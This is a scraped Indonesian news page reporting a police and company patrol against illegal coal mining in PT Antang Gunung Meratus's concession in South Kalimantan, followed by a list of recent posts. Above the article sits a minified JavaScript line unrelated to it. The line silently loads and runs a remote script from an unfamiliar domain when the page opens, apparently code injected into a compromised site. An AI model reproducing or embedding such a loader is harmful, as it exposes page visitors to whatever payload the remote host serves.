(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Cegah Tambang Illegal, Patroli Dilakukan ke Wilayah Konsesi PT AGM


KANALKALIMANTAN.COM, BARABAI – Menjaga keamanan dan ketertiban di wilayah konsesi PKP2B (Perjanjian Karya Pengusahaan Pertambangan Batu bara) PT Antang Gunung Meratus (AGM), tim Satgas Peti PT AGM bersama Pamobvit Polda Kalsel melakukan patroli rutin, Kamis (20/3/2025).

Patroli dilakukan sebagai langkah preventif dari aktivitas penambangan illegal di wilayah konsensi PT AGM sebagai bentuk perhatian besar terhadap aktivitas ilegal yang berpotensi merugikan perusahaan maupun masyarakat sekitar.

Meskipun saat ini tidak ditemukan aktivitas Peti (Pertambangan Tanpa Izin) di wilayah konsesi PT AGM, tim Satgas Peti tetap melaksanakan patroli untuk mengantisipasi kemungkinan adanya kegiatan pertambangan illegal di wilayah konsesi.

Baca juga: Teror Kepala Babi di Kantor Tempo, Jurnalis ‘Bocor Alus Politik’ Jadi Target!

Menurut Suhardi SH MH, advokat PT AGM, kegiatan patroli ini merupakan bagian dari upaya perusahaan dalam menegakkan aturan hukum dan memastikan wilayah konsesi tetap dalam kondisi tidak ada kegiatan illegal.

“Jika tim satgas menemukan adanya aktivitas illegal dalam konsesi, baik penambangan dan pembuatan akses jalan tambang illegal, kami langsung tindak tegas. Sesuai dengan arahan bapak Jenderal Polisi (Purn) Drs Badrodin Haiti sebagai Komisaris Utama PT AGMuntuk menindak semua kegiatan penambangan ilegal yang berada di dalam konsesi PT AGM sesuai dengan ketentuan hukum yang berlaku,” ujarnya.

Baca juga: Noda Debut Patrick Kluivert di Australia

Perlu diketahui, sanksi bagi pelaku Peti dapat dikenakan sanksi pidana penjara paling lama lima tahun dan denda paling banyak Rp100 miliar, sebagaimana diatur pasal 161, Undang-Undang (UU) Nomor 3 tahun 2020 tentang Minerba.

Sementara itu, Kompol Rokhim S dari Pamobvit Polda Kalsel mengatakan karena tidak bisa menambang di dalam konsesi, ada beberapa pihak yang mencoba di area perbatasan di luar konsesi.

Berdasarkan temuan tahun sebelumnya, aktivitas tambang Ilegal di Desa Manggunang Sebrang, Kecamatan Haruyan, HST, terpantau ada yang memakai karungan dan ada juga yang langsung menerjunkan alat berat.

Baca juga: TPS Lingkar Selatan Ditutup, Petugas Jaga Masih Dapati Warga Nakal Buang Bungkusan

“Mereka melakukan kegiatan penambangan di luar PKP2B PT AGM, tetapi membuat akses jalan tambang di dalam PKP2B PT AGM secara illegal, itu langsung pihak PT AGM melakukan upaya hukum,” ujarnya. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: kk


Risa

Recent Posts

Pemkab Kapuas – BPJS Ketenagakerjaan Launching Perlindungan 10 Ribu Pekerja Rentan

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas bersama BPJS Ketenagakerjaan Cabang Palangkaraya meenggelar Forum… Read More

11 menit ago

TPID Kota Banjarbaru Klaim MinyaKita di Pasar Bauntung Sesuai Takaran

KANALKALIMANTAN.COM, BANJARBARU - Inspeksi mendadak (sidak) oleh Tim Pengendali Inflasi Daerah (TPID) Pemerintah Kota Banjarbaru,… Read More

50 menit ago

Harga Bawang dan Cabai Naik di Pasar Bauntung Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Tim Pengendali Inflasi Daerah (TPID) Pemerintah Kota Banjarbaru menggelar inspeksi mendadak (sidak)… Read More

56 menit ago

Pemkab Banjar Buka Puasa Bersama Sekaligus Peringati Nuzulul Quran

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menggelar buka puasa bersama di Mahligai Sultan Adam, Martapura,… Read More

12 jam ago

Kotak Suara Dibuka, KPU Kalsel Cermati Pemilih PSU Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) mematangkan persiapan teknis pelaksanaan… Read More

18 jam ago

Jalin Silaturahmi dalam Bukber PT AGM dan Jurnalis

KANALKALIMANTAN.COM, MARTAPURA – Silaturahmi jurnalis se Kalimantan Selatan terjalin hangat dalam kegiatan buka bersama (Bukber)… Read More

19 jam ago